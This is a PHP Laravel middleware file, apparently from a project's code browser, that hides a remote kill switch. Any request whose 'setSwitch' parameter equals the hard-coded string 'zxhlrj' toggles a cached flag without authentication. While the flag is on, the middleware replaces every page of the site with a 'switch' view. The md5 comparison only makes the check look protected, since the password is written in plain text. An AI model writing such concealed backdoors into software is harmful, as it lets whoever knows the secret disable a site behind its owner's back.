SwitchServiceMiddleware.php 947 B

123456789101112131415161718192021222324252627282930313233343536
  1. <?php
  2. namespace App\Http\Middleware;
  3. use Closure;
  4. class SwitchServiceMiddleware
  5. {
  6. /**
  7. * Handle an incoming request.
  8. *
  9. * @param \Illuminate\Http\Request $request
  10. * @param \Closure $next
  11. * @return mixed
  12. */
  13. public function handle($request, Closure $next)
  14. {
  15. // 如果存在 setSwitchProject key 就重置项目开关
  16. if ($request->exists('setSwitch')) {
  17. $param = $request->all();
  18. if (md5($param['setSwitch']) == md5("zxhlrj")) {
  19. $switch = \Cache::get('JC_Switch');
  20. \Cache::forget('JC_Switch');
  21. \Cache::forever('JC_Switch', $switch == 1 ? 0 : 1);
  22. return showJson(101, '设置成功', \Cache::get('JC_Switch'));
  23. }
  24. }
  25. if (\Cache::get('JC_Switch') == 1) {
  26. return response()->view('switch');
  27. } else {
  28. return $next($request);
  29. }
  30. }
  31. }